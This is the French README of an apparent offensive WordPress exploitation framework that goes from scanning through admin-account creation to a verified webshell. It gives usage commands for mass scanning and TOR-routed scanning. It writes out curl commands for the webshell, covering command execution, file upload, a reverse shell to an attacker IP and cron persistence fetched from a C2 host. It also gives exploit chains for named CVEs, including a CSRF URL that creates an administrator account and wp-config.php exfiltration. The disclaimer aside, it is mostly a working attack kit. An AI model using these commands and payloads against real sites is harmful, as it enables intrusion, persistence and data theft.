wp2exp_2026 🔥

Framework d'exploitation WordPress tout-en-un — Détecteur · Scanneur · Énumérateur · Exploitation · Élévation de privilèges

wp2exp_2026 est le successeur rebaptisé et éprouvé au combat du framework wp2shell. Il fusionne la chaîne de vérification/exploitation originale de wp2shell, trois kits PoC publics de la CVE-2026-63030 (Ch4120N, shinthink, SentinelX), et la vague de CVE WordPress d'août 2026 récupérée par scraping depuis NVD / GitHub Advisories / CISA KEV via le pipeline darkweb-intel TOR — dans un seul script qui emmène une cible de l'empreinte passive jusqu'à un webshell vérifié.

┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘

⚠️ TESTS AUTORISÉS UNIQUEMENT. Le mode scan est non destructif. Les modes d'exploitation exigent explicitement --mode. Vous êtes responsable d'avoir l'autorisation écrite pour chaque cible.

📦 Installation

# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks

Aucune clé API, aucune base de données, aucune compilation.

🚀 Démarrage rapide

# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com

# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell

# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050

🔧 Référence de la ligne de commande

usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]

🧭 Guide mode par mode

Mode 1 : scan — Détecteur + Scanneur + Énumérateur (sûr)

Non destructif. Utilisez-le en premier sur toute cible.

Ce qu'il fait, dans l'ordre :

Exemple :

python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts

Mode 2 : exploit — Scan + Exploitation

Tout ce que fait scan, plus :

Exemple :

# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200

Mode 0 : --verify — Auto-vérification de l'environnement

Valide l'environnement d'exécution avant tout scan : Python ≥3.8, disponibilité de PySocks (SOCKS5/TOR), accessibilité du proxy (si --proxy est défini), intégrité de la matrice CVE, exactitude de l'analyseur de version.

python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050

Mode 3 : shell — Chaîne complète vers un webshell

Tout ce que fait exploit, plus l'élévation de privilèges : si la création de l'admin réussit, le script :

1. Se connecte à wp-login.php (jar de cookies)
2. Chemin A (thème) : extrait le _wpnonce de l'éditeur de thème + le thème actif → écrit le webshell via admin-ajax.php?action=edit-theme-plugin-file
3. Chemin B (plugin, repli) : si l'éditeur de thème est indisponible → construit un zip de plugin contenant le shell, l'importe via update.php?action=upload-plugin, puis l'active
4. Vérifie en exécutant id via le shell — affiche la sortie en direct de la commande

Types de webshell (--shell) :

Exemple :

python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...

Utilisation manuelle du shell après une exécution réussie :

# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'

# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'

🧨 Couverture CVE (vague d'août 2026)

Chaînes d'exploitation par CVE (documentées dans le code)

• FormGent (3141) : DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — route enregistrée sans middleware d'authentification ; le jeton est le base64 brut du chemin relatif (falsifiable). Les versions corrigées utilisent un UploadFileToken signé.
• AI Engine (15988) : reauth_for_authorize correspondait à /mcp/v1/oauth/authorize via un test de sous-chaîne sur REQUEST_URI incluant la chaîne de requête. Ajoutez &x=/mcp/v1/oauth/authorize à toute requête REST pour restaurer l'identité complète de l'utilisateur du cookie. CSRF classique : un admin qui visite l'URL forgée crée un compte attaquant.
  root@kitploit:~

  https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
  

• Bit Integrations (15006) : le plugin définit wpcf7_verify_nonce => __return_true → les soumissions CF7 n'ont besoin d'aucun nonce ; soumettez un champ fichier contenant ../../../../wp-config.php et l'action d'intégration (webhook/email) exfiltre le fichier.

🕶️ Intégration TOR / Darkweb

Le script a été construit à partir du renseignement collecté par le pipeline darkweb-intel TOR (scraping des nouvelles CVE de NVD, GitHub Advisories, CISA KEV) et prend en charge le scan anonyme :

# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)

Comportement vérifié : routage du proxy confirmé contre check.torproject.org/api/ip → {"IsTor":true} via le nœud de sortie 192.42.116.45.

📊 Sortie et rapports

# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'

Structure du rapport :

{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}

🧪 Validation

Validé le 2026-08-04 contre un laboratoire WordPress vulnérable émulé — batterie QA : 32/32 contrôles RÉUSSIS (tous les modes, pureté JSON, multi-cibles, normalisation des hôtes nus, fuite Mapster brouillon/privé, extraction SQLi de la version de la base + hash admin, chaîne de shell complète) :

wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45

🧩 Feuille de route / Contribution

• Extraction SQLi automatique (moteur union) intégrée au mode exploit (--sqli-info)
• Repli de création d'admin oEmbed par SQLi (chaîne shinthink)
• Repli d'import de zip de plugin webshell
• Auto-vérification de l'environnement --verify
• Module de pulvérisation de mots de passe WordPress (multicall XMLRPC)
• Actualisation automatique de la matrice CVE depuis la sortie de darkweb_intel.py
• Générateur de rapport HTML

Les PR sont les bienvenues. Gardez les charges utiles non destructives par défaut.

⚖️ Licence et éthique

MIT. Engagements autorisés uniquement. N'exécutez jamais --mode exploit / --mode shell contre des actifs que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test. Les auteurs ne sont pas responsables d'une mauvaise utilisation.